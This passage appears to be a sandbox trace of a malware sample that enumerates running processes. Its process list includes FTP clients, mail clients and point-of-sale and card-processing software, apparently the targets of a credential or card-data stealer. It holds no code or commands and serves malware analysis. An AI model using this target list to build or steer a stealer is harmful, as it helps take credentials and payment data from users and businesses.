[0282.228] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0282.230] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0282.232] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0282.234] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0282.236] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0282.268] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0282.270] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0282.272] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0282.275] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0282.277] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0282.279] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0282.281] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0282.287] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0282.289] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0282.291] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0282.293] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0282.295] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0282.297] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0282.299] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0282.301] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0282.303] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0282.305] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0282.307] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0282.310] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0282.312] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0282.314] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0282.316] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0282.318] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0282.321] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0282.323] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0282.326] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0282.328] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0282.331] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0282.333] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0282.335] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0282.337] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0282.340] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0282.342] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0282.344] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0282.346] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0282.348] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0282.351] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0282.353] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0282.355] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0282.357] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0282.359] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0282.361] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0282.363] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0282.366] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0282.368] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0282.370] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0282.373] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0282.407] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0282.409] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0282.411] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0282.414] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0282.416] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0282.418] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0282.420] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0282.422] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0282.424] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.427] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.429] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.431] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.433] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0282.435] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.442] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0282.444] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0282.445] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0282.447] CloseHandle (hObject=0xa10) returned 1 [0282.448] Sleep (dwMilliseconds=0x64) [0282.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0282.463] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.465] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.467] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.469] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.471] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.473] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.475] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.477] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.479] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.481] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.484] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.486] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.488] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.490] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, 